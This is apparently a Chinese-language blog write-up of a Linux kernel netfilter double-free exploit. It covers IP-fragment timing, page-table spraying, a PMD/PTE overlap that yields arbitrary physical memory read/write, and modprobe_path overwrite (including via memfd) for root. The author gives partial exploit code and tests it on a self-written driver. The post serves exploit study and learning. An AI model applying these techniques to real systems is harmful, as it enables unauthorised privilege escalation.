非常精彩的利用文章。有能力的读者可以直接阅读原文:)
Vulnerability
漏洞的成因是允许用户同时指定NF_DROP
和NF_ACCEPT
值(即NF_DROP(1)
,这里的1
本来应该是错误代码),内核在解析到NF_DROP
后便会释放skb
,但由于最后返回的却是NF_ACCEPT
,skb
会继续留在内核网络栈上,随后又被释放,造成double free
。
// looping over existing rules when skb triggers chain
int nf_hook_slow(struct sk_buff *skb, struct nf_hook_state *state,
const struct nf_hook_entries *e, unsigned int s)
{
unsigned int verdict;
int ret;
for (; s < e->num_hook_entries; s++) {
// malicious rule: verdict = 0xffff0000
verdict = nf_hook_entry_hookfn(&e->hooks[s], skb, state);
// 0xffff0000 & NF_VERDICT_MASK == 0x0 (NF_DROP)
switch (verdict & NF_VERDICT_MASK) {
case NF_ACCEPT:
break;
case NF_DROP:
// first free of double-free
kfree_skb_reason(skb,
SKB_DROP_REASON_NETFILTER_DROP);
// NF_DROP_GETERR(0xffff0000) == 1 (NF_ACCEPT)
ret = NF_DROP_GETERR(verdict);
if (ret == 0)
ret = -EPERM;
// return NF_ACCEPT (continue packet handling)
return ret;
// [snip] alternative verdict cases
default:
WARN_ON_ONCE(1);
return 0;
}
}
return 1;
}
该漏洞会同时释放掉两个结构体:struct sk_buff
和sk_buff->head
,而sk_buff->head
存放的是网络数据包的内容,大小是用户完全控制的,大小最大可以是16个页面。
Exploitation
主要思路是:
在第一次free
后堆喷page table
去占位,后面再分配一次页面后触发第二次free
,然后堆喷page directory
造成和page table
的重叠,这样,任何用户分配的物理页都能够作为一个页表项。
Double Free
在两次free
之间,需要喷大量的PTE
,因此需要留出一定的时间窗口。然而,内核网络站本身时间窗口并不多,这里可以采用IP
分片技术,以延迟第二次free
的时间。具体来讲:
iph1->len = sizeof(struct ip_header)*2 + 64;
iph1->offset = ntohs(0 | IP_MF); // set MORE FRAGMENTS flag
memset(iph1_body, 'A', 8);
transmit(iph1, iph1_body, 8);
iph2->len = sizeof(struct ip_header)*2 + 64;
iph2->offset = ntohs(8 >> 3); // don't set IP_MF since this is the last packet
memset(iph2_body, 'A', 56);
transmit(iph2, iph2_body, 56);
设置IP_MF
表示还有更多的数据,内核中的选项/proc/sys/net/ipv4/ipfrag_time
可以延长内核的等待时间。
DirtyPageDirectory
dirtypagetable
会需要一个同样使用page_alloc
分配的且在MIGRATE_UNMOVABLE
区域的对象,例如/dev/dma_heap
(在安卓不需要特权可行,但在一般的linux
系统需要特权),io_uring
。
而dirtypagedirectory
主要思路是造成PMD
和PTE
的重叠。这样,给用户态分配的一个物理页实际上也作为PTE
,从而允许用户任意修改虚拟内存映射,也就是可以任意修改物理页面,只读页面仍然可以修改。
Page Table Spraying
PTE
页表可以通过mmap
一个2M
的虚拟内存,然后访问触发缺页异常来分配。PMD
也是同样的道理,1G
大小的虚拟内存来对应一个PMD
所支持的内容。
#define _pte_index_to_virt(i) (i << 12)
#define _pmd_index_to_virt(i) (i << 21)
#define _pud_index_to_virt(i) (i << 30)
#define _pgd_index_to_virt(i) (i << 39)
#define PTI_TO_VIRT(pud_index, pmd_index, pte_index, page_index, byte_index) \
((void*)(_pgd_index_to_virt((unsigned long long)(pud_index)) + _pud_index_to_virt((unsigned long long)(pmd_index)) + \
_pmd_index_to_virt((unsigned long long)(pte_index)) + _pte_index_to_virt((unsigned long long)(page_index)) + (unsigned long long)(byte_index)))
这里的index
可以和虚拟地址对应起来。
PCP list Draining
我们double free
的对象是4阶的,但是pte
是0阶的。注意到四阶的页面由buddy system
来管理。这里我们如果将低阶的free page
都消耗光,那么有机会在原来free
掉的页面之上再进行0阶页面的切分,这样就能在4阶的free object
之上分配到pte
对象。
Flush TLB
页表修改后需要使用flushtls
指令进行刷新。不过用户态程序需要寻找些别的办法。
在exp
中,将mmap
的内存指定为共享页,fork
出的子进程执行unmap
操作来刷新TLB
。
static void flush_tlb(void *addr, size_t len)
{
short *status;
status = mmap(NULL, sizeof(short), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
*status = FLUSH_STAT_INPROGRESS;
if (fork() == 0)
{
munmap(addr, len);
*status = FLUSH_STAT_DONE;
PRINTF_VERBOSE("[*] flush tlb thread gonna sleep\n");
sleep(9999);
}
SPINLOCK(*status == FLUSH_STAT_INPROGRESS);
munmap(status, sizeof(short));
}
physical KASLR
指定了CONFIG_RELOCATABLE=y
后内核的加载的物理地址会随机化,不过由于已经任意读内核地址,可以采取扫描的方法。
Experiment
这里还是用上我的弱智小驱动进行测试:)
有new, del, rd
,自己实现一个也很容易,所以我就不贴这弱智驱动的代码了。
也是一个16
页的double free
。
void exploit() {
int fd = open("/dev/ioctltest", O_RDONLY);
SYSCHK(ioctl(fd, IOCTL_NEW, 16 *4096));
SYSCHK(ioctl(fd, IOCTL_DEL));
spray_pagetable();
char buf[4096 * 16] = {0};
SYSCHK(ioctl(fd, IOCTL_RD, buf));
hexdump(buf, 4096 * 16);
}
首先堆喷大量pte
上去(具体喷多少看系统有多少内存),只要我喷的够多,就能消耗掉buddy allocattor
,通过drain pcp
来分配到double free
对象。
通过漏洞对象实现第二次free
后,马上分配一个pmd
,造成与原来的pte
的重叠。
_pmd_area =
mmap((void *)PTI_TO_VIRT(1, 1, 0, 0, 0), 0x400000, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0);
pmd_kernel_area = _pmd_area;
pmd_data_area = _pmd_area + 0x200000;
*(unsigned long long *)_pmd_area = 0xCAFEBABE;
如果我们有一个pte
和pmd
的重叠,那么某个用户态的页面会被映射成pte
。
A: 1 1 0 0 byte_off
B: 2 0 i 0 byte_off
这里B
是我们之前喷pte
的那块虚拟地址区域,A
是我们pmd
占位的内存区域。B
的某一个pte
会和A
的pmd
重叠,所以这里要去指定pte
的index
,也即这里的i
去一个个尝试。假设我们找到为i
,其对应的user
页面则成为A
的一个pte
,我们可以通过1 1 b_pte_index user_page_index byte_off
。这样的格式来访问任意物理地址。(前面四个index
每个都是9字节,具体查阅x86 paging
相应的内容,byte_off
是页内偏移)
原来用来喷的pte
的用户页面其中有一个被映射成pte
。
此时,我们已经有了任意读写物理页面的原语。此时对内核物理页面做一下扫描。最后,在扫描到的内核区域上继续扫描modprobe
的路径。修改即可实现提权。
这里碰到一个原文似乎没有提及的问题。在第二次free
时,如果直接去用漏洞对象去free
掉整个pte
所在的page
,那么会直接crash
,报错信息是关于mapcount
的。
pwndbg> p *(struct page*)(0xffffea0000000000 + 0x10e490 * 64)
...
{
_mapcount = {
counter = -513
},
page_type = 4294966783
},
_refcount = {
counter = 1
},
...
此时,会去检查_mapcount
是否为-1,而该字段本身和page-flags
是存储在一个地方,对于pte
会把它当成page-type
,并会去设置0x200的页表标志位,不会为-1,因此会直接崩掉。
/*
* A bad page could be due to a number of fields. Instead of multiple branches,
* try and check multiple fields with one check. The caller must do a detailed
* check if necessary.
*/
static inline bool page_expected_state(struct page *page,
unsigned long check_flags)
{
if (unlikely(atomic_read(&page->_mapcount) != -1))
return false;
if (unlikely((unsigned long)page->mapping |
page_ref_count(page) |
#ifdef CONFIG_MEMCG
page->memcg_data |
#endif
(page->flags & check_flags)))
return false;
return true;
}
#define PAGE_TYPE_BASE 0xf0000000
/* Reserve 0x0000007f to catch underflows of page_mapcount */
#define PAGE_MAPCOUNT_RESERVE -128
#define PG_buddy 0x00000080
#define PG_offline 0x00000100
#define PG_table 0x00000200
#define PG_guard 0x00000400
后来运行bsauce
提供的bzImage
发现可以正常跑,于是猜测应该是某个config
的问题,逐步尝试发现在同时开启了CONFIG_DEBUG_VM
和CONFIG_DEBUG_VM_PGTABLE
时,会触发检查。
#ifdef CONFIG_DEBUG_VM
/*
* With DEBUG_VM enabled, order-0 pages are checked immediately when being freed
* to pcp lists. With debug_pagealloc also enabled, they are also rechecked when
* moved from pcp lists to free lists.
*/
static bool free_pcp_prepare(struct page *page, unsigned int order)
{
return free_pages_prepare(page, order, true, FPI_NONE);
}
/* return true if this page has an inappropriate state */
static bool bulkfree_pcp_prepare(struct page *page)
{
if (debug_pagealloc_enabled_static())
return free_page_is_bad(page);
else
return false;
}
#else
考虑到CONFIG_DEBUG_VM
应该在生产环境中不被使用,应该问题不大😅比如我的linux
笔记本就没有
❯ zcat /proc/config.gz | grep -i CONFIG_DEBUG_VM
# CONFIG_DEBUG_VM is not set
# CONFIG_DEBUG_VM_PGTABLE is not set
Trivia
Patches
Quote
Its not clear to me why this commit was made.
🤔
modprobe
memfd
,可以将内存的内容创建一个fd
与之对应起来,modprobe_path
如果指定到了这个fd
的路径(从/proc/{pid}/fd/{mem_fd}
中获取),就可以执行内存里的提权脚本。这种方法不需要创建文件,即便文件系统只读仍然有效。